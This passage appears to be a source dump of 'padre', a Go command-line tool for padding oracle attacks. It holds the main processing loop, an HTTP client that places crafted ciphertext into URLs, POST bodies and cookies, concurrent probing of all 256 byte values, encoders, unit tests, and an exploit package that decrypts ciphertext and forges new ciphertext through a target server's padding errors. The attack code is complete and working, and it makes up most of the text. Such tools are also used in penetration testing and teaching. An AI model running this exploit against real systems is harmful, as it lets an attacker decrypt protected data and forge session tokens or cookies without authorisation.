build list of inputs to process 175 | inputs := make([]string, 0) 176 | 177 | if args.Input == nil { 178 | print.Warning("no explicit input passed, expecting input from stdin...") 179 | // read inputs from stdin 180 | scanner := bufio.NewScanner(os.Stdin) 181 | for scanner.Scan() { 182 | inputs = append(inputs, scanner.Text()) 183 | } 184 | } else { 185 | // use single input, passed in CLI arguments 186 | inputs = append(inputs, *args.Input) 187 | } 188 | 189 | // init padre instance 190 | padre := &exploit.Padre{ 191 | Client: client, 192 | Matcher: matcher, 193 | BlockLen: *args.BlockLen, 194 | } 195 | 196 | // process inputs one by one 197 | var errCount int 198 | 199 | for i, input := range inputs { 200 | // create new status bar for current input 201 | prefix := color.CyanBold(fmt.Sprintf("[%d/%d]", i+1, len(inputs))) 202 | print.AddPrefix(prefix, true) 203 | 204 | var ( 205 | output []byte 206 | bar *out.HackyBar 207 | hints []string 208 | ) 209 | 210 | // encrypt or decrypt 211 | if *args.EncryptMode { 212 | // init hacky bar 213 | bar = out.CreateHackyBar(args.Encoder, len(exploit.Pkcs7Pad(input, bl))+bl, *args.EncryptMode, print) 214 | 215 | // provide HTTP client with event-channel, so we can count RPS 216 | client.RequestEventChan = bar.ChanReq 217 | 218 | bar.Start() 219 | output, err = padre.Encrypt(input, bar.ChanOutput) 220 | if err != nil { 221 | // at this stage, we already confirmed padding oracle 222 | // we suppose the server is blocking connections 223 | hints = append(hints, lowerConnections) 224 | } 225 | bar.Stop() 226 | } else { 227 | // decrypt mode 228 | if input == "" { 229 | err = fmt.Errorf("empty input") 230 | goto Error 231 | } 232 | 233 | // decode input into bytes 234 | var ciphertext []byte 235 | ciphertext, err = args.Encoder.DecodeString(input) 236 | if err != nil { 237 | hints = append(hints, checkInput) 238 | hints = append(hints, checkEncoding) 239 | goto Error 240 | } 241 | 242 | // init hacky bar 243 | bar = out.CreateHackyBar(encoder.NewASCIIencoder(), len(ciphertext)-bl, *args.EncryptMode, print) 244 | 245 | // provide HTTP client with event-channel, so we can count RPS 246 | client.RequestEventChan = bar.ChanReq 247 | 248 | // do decryption 249 | bar.Start() 250 | output, err = padre.Decrypt(ciphertext, bar.ChanOutput) 251 | bar.Stop() 252 | if err != nil { 253 | goto Error 254 | } 255 | } 256 | 257 | // warn about output overflow 258 | if bar.Overflow && util.IsTerminal(stdout) { 259 | print.Warning("Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output") 260 | } 261 | 262 | Error: 263 | 264 | // in case of error, skip to the next input 265 | if err != nil { 266 | print.Error(err) 267 | errCount++ 268 | if len(hints) > 0 { 269 | printHints(print, hints) 270 | } 271 | continue 272 | } 273 | 274 | // write output only if output is redirected to file or piped 275 | // this is because outputs already will be in status output 276 | // so printing them to STDOUT again is not necessary 277 | if !util.IsTerminal(stdout) { 278 | /* in case of encryption, additionally encode the produced output */ 279 | if *args.EncryptMode { 280 | outputStr := args.Encoder.EncodeToString(output) 281 | _, err = stdout.WriteString(outputStr + "\n") 282 | if err != nil { 283 | // do not tolerate errors in output writer 284 | print.Error(err) 285 | os.Exit(1) 286 | } 287 | } else { 288 | stdout.Write(append(output, '\n')) 289 | } 290 | } 291 | } 292 | 293 | /* non-zero return code if all inputs were errornous */ 294 | if len(inputs) == errCount { 295 | os.Exit(2) 296 | } 297 | } 298 | -------------------------------------------------------------------------------- /pkg/client/client.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "context" 5 | "io/ioutil" 6 | "net/http" 7 | "net/url" 8 | "strings" 9 | 10 | "github.com/glebarez/padre/pkg/encoder" 11 | ) 12 | 13 | // Client - API to perform HTTP Requests to a remote server. 14 | // Very specific to padre, in that it sends queries to a specific URL 15 | // that carries out the decryption and can spill padding oracle 16 | type Client struct { 17 | // underlying net/http client 18 | HTTPclient *http.Client 19 | 20 | // the following data will form the HTTP request payloads. 21 | // if placeholder is met among those data, it will be replaced 22 | // with encoded representation ciphertext 23 | URL string 24 | POSTdata string 25 | Cookies []*http.Cookie 26 | 27 | // placeholder to replace with encoded ciphertext 28 | CipherPlaceholder string 29 | 30 | // encoder that is used to transform binary ciphertext 31 | // into plaintext representation. this must comply with 32 | // what remote server uses (e.g. Base64, Hex, etc) 33 | Encoder encoder.Encoder 34 | 35 | // HTTP concurrency (maximum number of simultaneous connections) 36 | Concurrency int 37 | 38 | // the content type of to be sent HTTP requests 39 | ContentType string 40 | 41 | // if this channel is not nil, it will be provided with byte value every time 42 | // the new HTTP request is made, so that RPS stats can be collected from 43 | // outside parties 44 | RequestEventChan chan byte 45 | } 46 | 47 | // DoRequest - send HTTP request with cipher, encoded according to config 48 | func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Response, error) { 49 | // encode the cipher 50 | cipherEncoded := c.Encoder.EncodeToString(cipher) 51 | 52 | // build URL 53 | url, err := url.Parse(replacePlaceholder(c.URL, c.CipherPlaceholder, cipherEncoded)) 54 | if err != nil { 55 | return nil, err 56 | } 57 | 58 | // create request 59 | req := &http.Request{ 60 | URL: url, 61 | Header: http.Header{}, 62 | } 63 | 64 | // upgrade to POST if data is provided 65 | if c.POSTdata != "" { 66 | // perform data for POST body 67 | req.Method = "POST" 68 | data := replacePlaceholder(c.POSTdata, c.CipherPlaceholder, cipherEncoded) 69 | req.Body = ioutil.NopCloser(strings.NewReader(data)) 70 | 71 | // set content type 72 | req.Header["Content-Type"] = []string{c.ContentType} 73 | } 74 | 75 | // add cookies if any 76 | if c.Cookies != nil { 77 | for _, cookie := range c.Cookies { 78 | // add cookies 79 | req.AddCookie(&http.Cookie{ 80 | Name: cookie.Name, 81 | Value: replacePlaceholder(cookie.Value, c.CipherPlaceholder, cipherEncoded), 82 | }) 83 | } 84 | } 85 | 86 | // add context if passed 87 | if ctx != nil { 88 | req = req.WithContext(ctx) 89 | } 90 | 91 | // send request 92 | resp, err := c.HTTPclient.Do(req) 93 | if err != nil { 94 | return nil, err 95 | } 96 | defer resp.Body.Close() 97 | 98 | // report about made request to status 99 | if c.RequestEventChan != nil { 100 | c.RequestEventChan <- 1 101 | } 102 | 103 | // read body 104 | body, err := ioutil.ReadAll(resp.Body) 105 | if err != nil { 106 | return nil, err 107 | } 108 | 109 | return &Response{StatusCode: resp.StatusCode, Body: body}, nil 110 | } 111 | -------------------------------------------------------------------------------- /pkg/client/client_test.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "context" 5 | "io/ioutil" 6 | "net/http" 7 | "net/http/httptest" 8 | "net/url" 9 | "testing" 10 | 11 | "github.com/glebarez/padre/pkg/encoder" 12 | "github.com/glebarez/padre/pkg/util" 13 | "github.com/stretchr/testify/require" 14 | ) 15 | 16 | func TestClient_DoRequest(t *testing.T) { 17 | // require start here 18 | require := require.New(t) 19 | 20 | // channel to propagate requests 21 | requestChan := make(chan *http.Request, 1) 22 | 23 | // special handler for propagating the channel 24 | handler := func(w http.ResponseWriter, r *http.Request) { 25 | // propagate received request 26 | requestChan <- r 27 | 28 | // copy request body into the response 29 | responseBody, err := ioutil.ReadAll(r.Body) 30 | require.NoError(err) 31 | 32 | // fill the response writer 33 | _, err = w.Write(responseBody) 34 | require.NoError(err) 35 | } 36 | 37 | // new test server 38 | ts := httptest.NewServer(http.HandlerFunc(handler)) 39 | defer ts.Close() 40 | 41 | // mock http client 42 | requestEventChan := make(chan byte, 1) 43 | 44 | // chose encoder 45 | encoder := encoder.NewB64encoder("") 46 | 47 | // create test client 48 | testURI := "/?data=$" 49 | 50 | client := &Client{ 51 | HTTPclient: ts.Client(), 52 | URL: ts.URL + testURI, 53 | POSTdata: "data=$", 54 | Cookies: []*http.Cookie{{Name: "key", Value: "$"}}, 55 | CipherPlaceholder: "$", 56 | Encoder: encoder, 57 | Concurrency: 1, 58 | ContentType: "cont/type", 59 | RequestEventChan: requestEventChan, 60 | } 61 | 62 | // total requests to be sent 63 | totalRequestCount := 100 64 | 65 | // counter for received requests 66 | totalRequestsReceived := 0 67 | 68 | // send some requests with random data 69 | for i := 0; i < totalRequestCount; i++ { 70 | // generate random chunk 71 | data := util.RandomSlice(13) 72 | dataEncoded := encoder.EncodeToString(data) 73 | 74 | // send 75 | response, err := client.DoRequest(context.Background(), data) 76 | require.NoError(err) 77 | 78 | // retrieve request event 79 | totalRequestsReceived += int(<-requestEventChan) 80 | 81 | // retrieve request that was sent to mocked http client 82 | request := <-requestChan 83 | 84 | // check URL formed properly 85 | require.Equal(replacePlaceholder(testURI, "$", dataEncoded), request.RequestURI) 86 | 87 | // check Body formed properly 88 | require.Equal(replacePlaceholder(client.POSTdata, "$", dataEncoded), string(response.Body)) 89 | 90 | // check Cookie formed properly 91 | cookie, err := request.Cookie("key") 92 | require.NoError(err) 93 | require.Equal(url.QueryEscape(dataEncoded), cookie.Value) 94 | 95 | // check content type 96 | require.Equal(request.Header.Get("Content-Type"), "cont/type") 97 | 98 | } 99 | 100 | // check total requests reported 101 | require.Equal(totalRequestCount, totalRequestsReceived) 102 | } 103 | 104 | func TestClient_BrokenURL(t *testing.T) { 105 | client := &Client{URL: " http://foo.com", Encoder: encoder.NewB64encoder("")} 106 | _, err := client.DoRequest(context.Background(), []byte{}) 107 | require.Error(t, err) 108 | } 109 | 110 | func TestClient_NotRespondingServer(t *testing.T) { 111 | client := &Client{ 112 | HTTPclient: http.DefaultClient, 113 | URL: "http://localhost:1", 114 | Encoder: encoder.NewB64encoder(""), 115 | } 116 | _, err := client.DoRequest(context.Background(), []byte{}) 117 | require.Error(t, err) 118 | } 119 | -------------------------------------------------------------------------------- /pkg/client/probe.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "context" 5 | "sync" 6 | ) 7 | 8 | // equals to 2**8, since we're testing every possible value of a byte 9 | const probeCount = 256 10 | 11 | // ProbeResult - result of probe 12 | type ProbeResult struct { 13 | Byte byte 14 | Response *Response 15 | Err error 16 | } 17 | 18 | // SendProbes - given a chunk of bytes, place every possible byte-value at specified position. 19 | // These probes are sent concurrently over HTTP. 20 | // The results will be written into chanResult channel 21 | func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos int, chanResult chan *ProbeResult) { 22 | // send byte values into this 23 | chanIn := make(chan byte, probeCount) 24 | 25 | /* run workers */ 26 | wg := sync.WaitGroup{} 27 | for i := 0; i < client.Concurrency; i++ { 28 | wg.Add(1) 29 | go func() { 30 | defer wg.Done() 31 | 32 | // copy chunk to produce local concurrent-safe copy 33 | chunkCopy := copySlice(chunk) 34 | 35 | // do the work 36 | for { 37 | select { 38 | case <-ctx.Done(): 39 | // early exit if context is cancelled 40 | return 41 | case b, ok := <-chanIn: 42 | // exit when input channel exhausted 43 | if !ok { 44 | return 45 | } 46 | 47 | // modify byte at given position 48 | chunkCopy[pos] = b 49 | 50 | // make HTTP request 51 | resp, err := client.DoRequest(ctx, chunkCopy) 52 | if ctx.Err() == context.Canceled { 53 | return 54 | } 55 | 56 | if err != nil { 57 | // error during HTTP request 58 | chanResult <- &ProbeResult{ 59 | Byte: b, 60 | Err: err, 61 | } 62 | } else { 63 | // send response 64 | chanResult <- &ProbeResult{ 65 | Byte: b, 66 | Response: resp, 67 | } 68 | } 69 | } 70 | } 71 | }() 72 | } 73 | 74 | /* close output channel when workers are done */ 75 | go func() { 76 | wg.Wait() 77 | close(chanResult) 78 | }() 79 | 80 | /* input generator: every possible byte value */ 81 | go func() { 82 | for i := 0; i <= 0xff; i++ { 83 | chanIn <- byte(i) 84 | } 85 | close(chanIn) 86 | }() 87 | } 88 | -------------------------------------------------------------------------------- /pkg/client/probe_test.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "io/ioutil" 7 | "net/http" 8 | "net/http/httptest" 9 | "net/url" 10 | "testing" 11 | 12 | "github.com/glebarez/padre/pkg/encoder" 13 | "github.com/glebarez/padre/pkg/util" 14 | "github.com/stretchr/testify/require" 15 | ) 16 | 17 | func TestClient_SendProbes(t *testing.T) { 18 | reqBodyChan := make(chan []byte, 1) 19 | 20 | // special handler for propagating request body into channel 21 | handler := func(w http.ResponseWriter, r *http.Request) { 22 | // copy request body into the response 23 | body, err := ioutil.ReadAll(r.Body) 24 | require.NoError(t, err) 25 | reqBodyChan <- body 26 | fmt.Fprintln(w, "grabbed") 27 | } 28 | 29 | // new test server 30 | ts := httptest.NewServer(http.HandlerFunc(handler)) 31 | defer ts.Close() 32 | 33 | // chose encoder 34 | encoder := encoder.NewB64encoder("") 35 | 36 | // create test client 37 | testURI := "/" 38 | 39 | client := &Client{ 40 | HTTPclient: ts.Client(), 41 | URL: ts.URL + testURI, 42 | POSTdata: "$", 43 | CipherPlaceholder: "$", 44 | Encoder: encoder, 45 | Concurrency: 1, 46 | } 47 | 48 | // generate random chunk 49 | data := util.RandomSlice(20) 50 | 51 | // test every position for a probe 52 | for pos := 0; pos < len(data); pos++ { 53 | // create channel for probe results 54 | chanProbeResult := make(chan *ProbeResult, 1) 55 | 56 | // send probes 57 | go client.SendProbes(context.Background(), data, pos, chanProbeResult) 58 | 59 | // get probe result 60 | for probeResult := range chanProbeResult { 61 | require.NoError(t, probeResult.Err) 62 | 63 | // derive expected probe data 64 | expectedProbe := copySlice(data) 65 | expectedProbe[pos] = probeResult.Byte 66 | 67 | // derive made probe data 68 | // get request body received by the test server 69 | requestBody, err := url.QueryUnescape(string(<-reqBodyChan)) 70 | require.NoError(t, err) 71 | 72 | madeProbe, err := encoder.DecodeString(requestBody) 73 | require.NoError(t, err) 74 | 75 | // compare the two 76 | require.Equal(t, expectedProbe, madeProbe) 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pkg/client/response.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | // Response - HTTP Response data 4 | type Response struct { 5 | StatusCode int 6 | Body []byte 7 | } 8 | -------------------------------------------------------------------------------- /pkg/client/util.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "net/url" 5 | "strings" 6 | ) 7 | 8 | // replace all occurrences of $ placeholder in a string, url-encoded if desired 9 | func replacePlaceholder(s, placeholder, replacement string) string { 10 | replacement = url.QueryEscape(replacement) 11 | return strings.Replace(s, placeholder, replacement, -1) 12 | } 13 | 14 | // creates copy of a slice 15 | func copySlice(slice []byte) []byte { 16 | sliceCopy := make([]byte, len(slice)) 17 | copy(sliceCopy, slice) 18 | return sliceCopy 19 | } 20 | -------------------------------------------------------------------------------- /pkg/color/color.go: -------------------------------------------------------------------------------- 1 | package color 2 | 3 | import ( 4 | "os" 5 | "regexp" 6 | 7 | "github.com/fatih/color" 8 | "github.com/mattn/go-isatty" 9 | ) 10 | 11 | var colorMatcher *regexp.Regexp 12 | 13 | var Error = color.Error 14 | 15 | func init() { 16 | // override the standard decision on No-color mode 17 | color.NoColor = os.Getenv("TERM") == "dumb" || 18 | (!isatty.IsTerminal(os.Stderr.Fd()) && !isatty.IsCygwinTerminal(os.Stderr.Fd())) 19 | // matcher for coloring terminal sequences 20 | colorMatcher = regexp.MustCompile("\033\\[.*?m") 21 | } 22 | 23 | /* coloring stringers */ 24 | var ( 25 | Red = color.New(color.FgRed).SprintFunc() 26 | Bold = color.New(color.Bold).SprintFunc() 27 | Yellow = color.New(color.FgYellow).SprintFunc() 28 | RedBold = color.New(color.FgRed, color.Bold).SprintFunc() 29 | CyanBold = color.New(color.FgCyan, color.Bold).SprintFunc() 30 | Cyan = color.New(color.FgCyan).SprintFunc() 31 | GreenBold = color.New(color.FgGreen, color.Bold).SprintFunc() 32 | Green = color.New(color.FgGreen).SprintFunc() 33 | HiGreenBold = color.New(color.FgHiGreen, color.Bold).SprintFunc() 34 | Underline = color.New(color.Underline).SprintFunc() 35 | YellowBold = color.New(color.FgYellow, color.Bold).SprintFunc() 36 | ) 37 | 38 | // StripColor - strips ANSI color control characters from a string 39 | func StripColor(s string) string { 40 | return colorMatcher.ReplaceAllString(s, "") 41 | } 42 | 43 | // TrueLen returns true length of a colorized string in characters 44 | func TrueLen(s string) int { 45 | return len(StripColor(s)) 46 | } 47 | -------------------------------------------------------------------------------- /pkg/color/color_test.go: -------------------------------------------------------------------------------- 1 | package color 2 | 3 | import "testing" 4 | 5 | func TestTrueLen(t *testing.T) { 6 | type args struct { 7 | s string 8 | } 9 | tests := []struct { 10 | name string 11 | args args 12 | want int 13 | }{ 14 | {"nocolor", args{""}, 0}, 15 | {"nocolor", args{"x"}, 1}, 16 | {"nocolor", args{"xxx"}, 3}, 17 | {"colored", args{YellowBold("")}, 0}, 18 | {"colored", args{YellowBold("x")}, 1}, 19 | {"colored", args{YellowBold("xxx")}, 3}, 20 | } 21 | for _, tt := range tests { 22 | t.Run(tt.name, func(t *testing.T) { 23 | if got := TrueLen(tt.args.s); got != tt.want { 24 | t.Errorf("TrueLen() = %v, want %v", got, tt.want) 25 | } 26 | }) 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /pkg/encoder/ascii.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | // ASCII encoder 9 | type asciiEncoder struct{} 10 | 11 | // escapes non standard ASCII with \x notation 12 | func (e asciiEncoder) EncodeToString(input []byte) string { 13 | output := strings.Builder{} 14 | for _, b := range input { 15 | if b >= 32 && b <= 127 { 16 | // ascii printable 17 | err := output.WriteByte(b) 18 | if err != nil { 19 | panic(err) 20 | } 21 | } else { 22 | _, err := output.WriteString(fmt.Sprintf("\\x%02x", b)) 23 | if err != nil { 24 | panic(err) 25 | } 26 | } 27 | } 28 | return output.String() 29 | } 30 | 31 | // ... just to comply with interface 32 | func (e asciiEncoder) DecodeString(input string) ([]byte, error) { 33 | panic("Not implemented") 34 | } 35 | -------------------------------------------------------------------------------- /pkg/encoder/ascii_test.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func Test_asciiEncoder_EncodeToString(t *testing.T) { 10 | e := NewASCIIencoder() 11 | 12 | type args struct { 13 | input []byte 14 | } 15 | tests := []struct { 16 | name string 17 | e Encoder 18 | args args 19 | want string 20 | }{ 21 | {"empty", e, args{[]byte(``)}, ``}, 22 | {"nonascii", e, args{[]byte{0, 1, 255}}, `\x00\x01\xff`}, 23 | {"ascii", e, args{[]byte(`test`)}, `test`}, 24 | } 25 | for _, tt := range tests { 26 | t.Run(tt.name, func(t *testing.T) { 27 | e := asciiEncoder{} 28 | if got := e.EncodeToString(tt.args.input); got != tt.want { 29 | t.Errorf("asciiEncoder.EncodeToString() = %v, want %v", got, tt.want) 30 | } 31 | }) 32 | } 33 | } 34 | 35 | func Test_asciiEncoder_DecodeString(t *testing.T) { 36 | e := &asciiEncoder{} 37 | 38 | decode := func() { 39 | e.DecodeString("") //nolint 40 | } 41 | 42 | require.Panicsf(t, decode, "", "") 43 | 44 | } 45 | -------------------------------------------------------------------------------- /pkg/encoder/factory.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import "encoding/base64" 4 | 5 | func NewB64encoder(replacements string) Encoder { 6 | return newEncoderWithReplacer(base64.StdEncoding, replacements) 7 | } 8 | 9 | func NewLHEXencoder(replacements string) Encoder { 10 | return newEncoderWithReplacer(&lhexEncoder{}, replacements) 11 | } 12 | 13 | func NewASCIIencoder() Encoder { 14 | return &asciiEncoder{} 15 | } 16 | -------------------------------------------------------------------------------- /pkg/encoder/hex.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import "encoding/hex" 4 | 5 | // lowercase hex encoder/decoder 6 | type lhexEncoder struct{} 7 | 8 | func (h *lhexEncoder) EncodeToString(input []byte) string { 9 | return hex.EncodeToString(input) 10 | } 11 | 12 | func (h *lhexEncoder) DecodeString(input string) ([]byte, error) { 13 | return hex.DecodeString(input) 14 | } 15 | -------------------------------------------------------------------------------- /pkg/encoder/interface.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | // Encoder - performs encoding/decoding 4 | type Encoder interface { 5 | EncodeToString([]byte) string 6 | DecodeString(string) ([]byte, error) 7 | } 8 | 9 | // DecodeError ... 10 | type DecodeError string 11 | 12 | func (e DecodeError) Error() string { return string(e) } 13 | -------------------------------------------------------------------------------- /pkg/encoder/replacer.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import ( 4 | "strings" 5 | 6 | "github.com/glebarez/padre/pkg/util" 7 | ) 8 | 9 | /* wrapper for encoderDecoder with characters replacements */ 10 | type encoderWithReplacer struct { 11 | encoder Encoder 12 | replacerAfterEncoding *strings.Replacer 13 | replacerBeforeDecoding *strings.Replacer 14 | } 15 | 16 | // encode with replacement 17 | func (r *encoderWithReplacer) EncodeToString(input []byte) string { 18 | encoded := r.encoder.EncodeToString(input) 19 | return r.replacerAfterEncoding.Replace(encoded) 20 | } 21 | 22 | // decode with replacement 23 | func (r *encoderWithReplacer) DecodeString(input string) ([]byte, error) { 24 | encoded := r.replacerBeforeDecoding.Replace(input) 25 | decoded, err := r.encoder.DecodeString(encoded) 26 | if err != nil { 27 | return nil, err 28 | } 29 | return decoded, nil 30 | } 31 | 32 | // wrapper creator 33 | func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder { 34 | return &encoderWithReplacer{ 35 | encoder: encoder, 36 | replacerAfterEncoding: strings.NewReplacer(strings.Split(replacements, "")...), 37 | replacerBeforeDecoding: strings.NewReplacer(strings.Split(util.ReverseString(replacements), "")...), 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /pkg/encoder/replacer_test.go: -------------------------------------------------------------------------------- 1 | package encoder 2 | 3 | import ( 4 | "encoding/base64" 5 | "strings" 6 | "testing" 7 | 8 | "github.com/glebarez/padre/pkg/util" 9 | "github.com/stretchr/testify/require" 10 | ) 11 | 12 | func TestReplacer(t *testing.T) { 13 | 14 | // test cases 15 | tests := []struct { 16 | name string 17 | encoder Encoder 18 | replFactory func(replacements string) Encoder 19 | replString string 20 | }{ 21 | {"b64", base64.StdEncoding, NewB64encoder, `=~/!+^`}, 22 | {"lhex", &lhexEncoder{}, NewLHEXencoder, `0zfyeT`}, 23 | } 24 | 25 | // run tests 26 | for _, tt := range tests { 27 | t.Run(tt.name, func(t *testing.T) { 28 | // generate random byte string 29 | byteData := util.RandomSlice(20) 30 | 31 | // encode with basic encoder 32 | encodedData := tt.encoder.EncodeToString(byteData) 33 | 34 | // replace characters 35 | encodedData = strings.NewReplacer(strings.Split(tt.replString, "")...).Replace(encodedData) 36 | 37 | // compare results 38 | replacer := tt.replFactory(tt.replString) 39 | require.Equal(t, replacer.EncodeToString(byteData), encodedData) 40 | 41 | // decode back and compare 42 | decoded, err := replacer.DecodeString(encodedData) 43 | require.NoError(t, err) 44 | require.Equal(t, decoded, byteData) 45 | 46 | // try decoding corrupted string 47 | _, err = replacer.DecodeString(string(encodedData[:len(encodedData)-1])) 48 | require.Error(t, err) 49 | }) 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /pkg/exploit/decrypt.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import "fmt" 4 | 5 | func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) { 6 | blockLen := p.BlockLen 7 | 8 | // check length of ciphertext against block length 9 | if len(ciphertext)%blockLen != 0 { 10 | return nil, fmt.Errorf("Ciphertext length is not compatible with block length (%d %% %d != 0)", len(ciphertext), blockLen) 11 | } 12 | 13 | // confirm validity of provided cipher 14 | pe, err := p.IsPaddingErrorInChunk(ciphertext) 15 | if err != nil { 16 | return nil, err 17 | } 18 | if pe { 19 | return nil, fmt.Errorf("Input cipher produced a padding error. You must provide a valid cipher to decrypt") 20 | } 21 | 22 | // count blocks 23 | blockCount := len(ciphertext) / blockLen 24 | 25 | // derive length of plaintext 26 | // NOTE: first block considered to be IV 27 | plainLen := len(ciphertext) - blockLen 28 | plainText := make([]byte, plainLen) 29 | 30 | // decrypt block by block moving backwards, except first (IV) 31 | for blockNum := blockCount; blockNum >= 2; blockNum-- { 32 | // mark indexes 33 | x := (blockNum - 2) * blockLen 34 | y := (blockNum - 1) * blockLen 35 | z := blockNum * blockLen 36 | 37 | // get cipher block and corresponding IV from ciphertext 38 | IV, block := ciphertext[x:y], ciphertext[y:z] 39 | 40 | // derive the nulling IV for the block 41 | nullingIV, err := p.breakCipher(block, newXORingStreamer(IV, byteStream)) 42 | if err != nil { 43 | return nil, fmt.Errorf("error occurred while decrypting block %d: %w", blockNum, err) 44 | } 45 | 46 | // derive plaintext block 47 | copy(plainText[x:y], xorSlices(nullingIV, IV)) 48 | } 49 | 50 | return plainText, nil 51 | } 52 | -------------------------------------------------------------------------------- /pkg/exploit/encrypt.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/glebarez/padre/pkg/util" 7 | ) 8 | 9 | func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte, error) { 10 | blockLen := p.BlockLen 11 | 12 | // pad 13 | plainText = Pkcs7Pad(plainText, blockLen) 14 | 15 | // count the blocks 16 | blockCount := len(plainText) / blockLen 17 | 18 | // initialize a slice that will contain our cipherText (blockCount + 1 for IV) 19 | cipher := make([]byte, (blockLen * (blockCount + 1))) 20 | 21 | // last block is generated randomly 22 | lastBlock := util.RandomSlice(blockLen) 23 | copy(cipher[len(cipher)-blockLen:], lastBlock) 24 | 25 | // the last block is already known, so we can fetch the bytes 26 | // NOTE: they are fetcher in reverse order, just like any other byte throughout this exploit 27 | if byteStream != nil { 28 | for i := len(lastBlock) - 1; i >= 0; i-- { 29 | byteStream <- lastBlock[i] 30 | } 31 | } 32 | 33 | /* Start with the last block and move towards the 1st block. 34 | Each block is used successively as a IV and then as a cipherText in the next iteration */ 35 | for blockNum := blockCount; blockNum >= 1; blockNum-- { 36 | // mark indexes 37 | x := (blockNum - 1) * blockLen 38 | y := blockNum * blockLen 39 | z := (blockNum + 1) * blockLen 40 | 41 | plainBlock := []byte(plainText)[x:y] 42 | 43 | // get nulling IV 44 | nullingIV, err := p.breakCipher(cipher[y:z], newXORingStreamer(plainBlock, byteStream)) 45 | if err != nil { 46 | return nil, fmt.Errorf("error occurred while encrypting block %d: %w", blockNum, err) 47 | } 48 | 49 | // reveal the cipher 50 | copy(cipher[x:y], xorSlices(plainBlock, nullingIV)) 51 | } 52 | return cipher, nil 53 | } 54 | -------------------------------------------------------------------------------- /pkg/exploit/exploit.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | /* implementation of Padding Oracle exploit algorithm */ 4 | 5 | import ( 6 | "fmt" 7 | 8 | "github.com/glebarez/padre/pkg/util" 9 | ) 10 | 11 | // breaks cipher for a given block of ciphertext 12 | // returns bytes (NullingIV) that are turning underlying plaintext into null-byte sequence when sent as IV 13 | // the NullingIV can then be used in encryption or decryption, depending on what you XOR it with 14 | // the streamFetcher can be passed to deliver bytes in in real-time as soon as they discovered 15 | func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte)) ([]byte, error) { 16 | blockLen := len(cipherBlock) 17 | 18 | // output buffer 19 | output := make([]byte, blockLen) 20 | 21 | // generate chunk of cipher with prepended random IV 22 | cipherChunk := append(util.RandomSlice(blockLen), cipherBlock...) 23 | 24 | // we start with the last byte of IV 25 | // and repeat the same procedure for every byte moving backwards 26 | for pos := blockLen - 1; pos >= 0; pos-- { 27 | // discover the bytes that do not produce padding error 28 | // NOTE: at last position there may be 2 such bytes*/ 29 | maxCount := 1 30 | if pos == blockLen-1 { 31 | maxCount = 2 32 | } 33 | 34 | found, err := p.getErrorlessByteValues(cipherChunk, pos, maxCount) 35 | if err != nil { 36 | return nil, err 37 | } 38 | 39 | /* check the results */ 40 | var foundByte *byte 41 | switch len(found) { 42 | case 0: 43 | return nil, fmt.Errorf("failed to break the cipher") 44 | case 1: 45 | foundByte = &found[0] 46 | case 2: 47 | /* this case can ONLY happen in the last position of the block (see maxCount variable above) 48 | here, we found 2 bytes that fit without padding oracle error 49 | the challenge here is to find the one that produced \x01 in plaintext 50 | the trick is: 51 | if we modify second-last byte, and padding error still doesn't occur 52 | then we are sure, that found byte produces \x01 at last position of plaintext 53 | for more info, you can check this thread: 54 | https://crypto.stackexchange.com/questions/37608/clarification-on-the-origin-of-01-in-this-oracle-padding-attack 55 | */ 56 | 57 | // modify second-last byte of IV 58 | cipherChunk[pos-1]++ 59 | 60 | // send additional probes 61 | for _, b := range found { 62 | // set last byte to one of the found 63 | cipherChunk[pos] = b 64 | 65 | // check for padding error 66 | paddingError, err := p.IsPaddingErrorInChunk(cipherChunk) 67 | if err != nil { 68 | return nil, err 69 | } 70 | 71 | if !paddingError { 72 | // we found the truly valid byte 73 | foundByte = &b 74 | break 75 | } 76 | } 77 | 78 | if foundByte == nil { 79 | return nil, fmt.Errorf("failed to decrypt due to unexpected server behavior") 80 | } 81 | } 82 | 83 | // XOR to retrieve output byte 84 | paddingValue := byte(blockLen - pos) 85 | outByte := *foundByte ^ paddingValue 86 | 87 | // write to output buffer 88 | output[pos] = outByte 89 | 90 | // fetch immediately into byteStreamer if provided 91 | if byteStreamer != nil { 92 | byteStreamer(outByte) 93 | } 94 | 95 | // adjust padding for next iteration 96 | cipherChunk[pos] = *foundByte 97 | for i := pos; i < blockLen; i++ { 98 | cipherChunk[i] ^= paddingValue ^ (paddingValue + 1) 99 | } 100 | } 101 | return output, nil 102 | } 103 | -------------------------------------------------------------------------------- /pkg/exploit/padre.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import ( 4 | "github.com/glebarez/padre/pkg/client" 5 | "github.com/glebarez/padre/pkg/probe" 6 | ) 7 | 8 | type Padre struct { 9 | Client *client.Client 10 | Matcher probe.PaddingErrorMatcher 11 | BlockLen int 12 | } 13 | 